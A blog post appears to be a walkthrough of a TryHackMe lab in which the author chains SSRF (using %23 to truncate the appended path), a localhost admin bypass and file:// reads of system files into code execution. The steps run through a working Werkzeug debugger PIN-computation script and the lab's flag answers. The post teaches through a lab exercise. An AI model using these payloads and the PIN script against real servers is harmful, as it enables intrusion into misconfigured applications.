Plant Photographer TryHackMe Walkthrough (2026) | SSRF to RCE via Werkzeug Console
What looks like a simple file download feature quickly turns into a full server compromise through SSRF, local file read, and a…
Plant Photographer TryHackMe Walkthrough (2026) | SSRF to RCE via Werkzeug Console
What looks like a simple file download feature quickly turns into a full server compromise through SSRF, local file read, and a misconfigured debug console.
Attack Chain:
SSRF → Information Disclosure → Admin Bypass → Local File Read → Werkzeug Console → RCE

Step 1 — Initial Recon
Browsed to http://MACHINE_IP/ and found a personal portfolio website for a botanist photographer named Jay Green. First thing I always do — view page source.
Spotted this immediately:
<a href="/download?server=secure-file-storage.com:8087&id=75482342">
Download Resume
</a>
And in the sidebar:
<a href="/admin">Admin Area</a>
Running Gobuster confirmed three interesting endpoints:
/admin (Status: 200)
/console (Status: 200)
/download (Status: 200)
The /download endpoint accepts a server parameter with a full URL — classic SSRF setup. The /console is a Werkzeug Interactive Debugger left exposed in production — a critical misconfiguration.
Got a hit on my Python HTTP server — SSRF confirmed.
The app constructs the URL like this:
crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)
The trick to bypass the appended path is URL-encoding # as %23, which truncates everything after it.
Flag 1 — API Key

Triggered a Werkzeug error by passing an invalid port. The debug traceback leaked the full source code, including this line:
crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{Hello_Im_just_an_API_key}'])
The API key was hardcoded directly in the application.
Flag 1: THM{Hello_Im_just_an_API_key}
Flag 2 — SSRF to Bypass Admin

The leaked source code revealed how the admin route works:
@app.route("/admin")
def admin():
if request.remote_addr == '127.0.0.1':
return send_from_directory('private-docs', 'flag.pdf')
return "Admin interface only available from localhost!!!"
The check is purely IP-based. Using SSRF to make the server call itself bypasses it completely:
/download?server=http://127.0.0.1:8087/admin%23&id=1
The %23 cuts off the appended path, so the server requests /admin from localhost, passes the IP check, and returns flag.pdf.
curl "http://MACHINE_IP/download?server=http://127.0.0.1:8087/admin%23&id=1" -o flag.pdf
pdftotext flag.pdf -
Flag 2: THM{c4n_i_haz_flagz_plz?}
Flag 3 — Text File via Werkzeug Console

Reading files via file:// protocol
Since pycurl has no protocol restriction, the file:// scheme works for Local File Read:
curl "http://MACHINE_IP/download?server=file:///usr/src/app/app.py%23&id=1"
This confirmed the app path: /usr/src/app/app.py
Cracking the Werkzeug PIN
To access /console, the PIN is needed. Collected the required info via LFR:
# MAC address
curl "http://MACHINE_IP/download?server=file:///sys/class/net/eth0/address%23&id=1"
# 02:42:ac:14:00:02
# Boot ID
curl "http://MACHINE_IP/download?server=file:///proc/sys/kernel/random/boot_id%23&id=1"
# 7127c587-8bb1-4e41-bfdf-bfb7e06c4c0a
# Cgroup (Docker container ID)
curl "http://MACHINE_IP/download?server=file:///proc/self/cgroup%23&id=1"
# 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
Then computed the PIN with this python script:
import hashlib, itertools
mac_int = int('02:42:ac:14:00:02'.replace(':', ''), 16)
machine_id = '7127c587-8bb1-4e41-bfdf-bfb7e06c4c0a' + \
'77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
probably_public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [str(mac_int), machine_id]
h = hashlib.sha1()
for bit in itertools.chain(probably_public_bits, private_bits):
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for g in 5, 4, 3:
if len(num) % g == 0:
rv = '-'.join(num[x:x+g].lstrip('0') or '0' for x in range(0, len(num), g))
break
print('PIN:', rv)
Using the Console
Entered the PIN at http://MACHINE_IP/console and listed the app directory:
python
import os
os.listdir('/usr/src/app')
# ['requirements.txt', 'Dockerfile', 'templates', 'public-docs',
# 'private-docs', 'static', 'app.py', 'flag-982374827648721338.txt']
Read the flag:
python
open('/usr/src/app/flag-982374827648721338.txt').read()
Flag 3: THM{xxxxxxxxx_x_xxxx_x_xx}
Key Takeaways
Never hardcode credentials in source code. Never run Werkzeug debug mode in production. Always whitelist URL schemes in server-side fetch operations. IP-based access control is trivially bypassed via SSRF. The file:// protocol in pycurl enables full filesystem read when unsanitized.
The only real trick in this room is the %23 to cut the appended path. Once you spot the SSRF and understand how the URL is constructed, everything else follows naturally. Classic chain attack — small misconfiguration, full compromise.
메타데이터
- post_id
- a546bfb93ad2
- slug
- plant-photographer-tryhackme-walkthrough-2026-ssrf-to-rce-via-werkzeug-console-a546bfb93ad2
- url
- https://medium.com/@m0ro23/plant-photographer-tryhackme-walkthrough-2026-ssrf-to-rce-via-werkzeug-console-a546bfb93ad2
- canonical_url
- https://medium.com/@m0ro23/plant-photographer-tryhackme-walkthrough-2026-ssrf-to-rce-via-werkzeug-console-a546bfb93ad2
- author_url
- https://medium.com/@m0ro23
- status
- ok
- fetched_at
- 2026-06-23 17:05:31